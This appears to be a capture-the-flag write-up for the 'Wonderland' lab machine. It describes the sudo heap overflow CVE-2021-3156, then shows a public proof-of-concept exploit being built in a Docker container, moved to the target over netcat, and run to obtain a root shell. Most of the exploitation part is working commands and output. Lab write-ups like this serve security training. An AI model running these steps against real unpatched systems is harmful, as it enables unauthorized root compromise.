CVE-2021-3156
PEAS identified that the target system is vulnerable to CVE-2021-3156
A vulnerability was found in sudo up to 1.8.31p2/1.9.5p1 (Operating System Utility Software). It has been rated as critical. This issue affects the function
sudoers_policy_main
. The manipulation with an unknown input leads to a heap-based overflow vulnerability. Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Impacted is confidentiality, integrity, and availability.
Exploit
Exploit found online
Docker Exploit Development
┌──(kali㉿kali)-[~/archive/thm/wonderland]
└─$ docker run -it --entrypoint "/bin/bash" --name wonderland ubuntu:18.04
Unable to find image 'ubuntu:18.04' locally
18.04: Pulling from library/ubuntu
7c457f213c76: Pull complete
Digest: sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98
Status: Downloaded newer image for ubuntu:18.04
root@04c5676dbf91:/#
Setting up a Docker container to match the target environment; Ubuntu 18.04
and ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
root@04c5676dbf91:/# apt update -y ; apt install net-tools netcat nano gcc gcc-multilib make git wget -y ; cd root
Installing the necessary packages
root@04c5676dbf91:~# git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make && cd .. && tar -czf CVE-2021-3156.tar.gz CVE-2021-3156
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
Unpacking objects: 100% (50/50), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0 (from 0)
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
Downloading, compiling, packaging the exploit
Exploitation
root@04c5676dbf91:~# nc 10.10.35.235 2222 < CVE-2021-3156.tar.gz
alice@wonderland:/dev/shm$ nc -nlvp 2222 > CVE-2021-3156.tar.gz
Listening on [0.0.0.0] (family 0, port 2222)
Connection from 10.9.2.142 34794 received!
Delivery complete
alice@wonderland:/dev/shm$ tar -xf CVE-2021-3156.tar.gz ; cd CVE-2021-3156
Unloading the exploit package
alice@wonderland:/dev/shm/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# whoami
root
# hostname
wonderland
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:a9:f1:ea:f3:b7 brd ff:ff:ff:ff:ff:ff
inet 10.10.35.235/16 brd 10.10.255.255 scope global dynamic eth0
valid_lft 1996sec preferred_lft 1996sec
inet6 fe80::a9:f1ff:feea:f3b7/64 scope link
valid_lft forever preferred_lft forever
System Level Compromise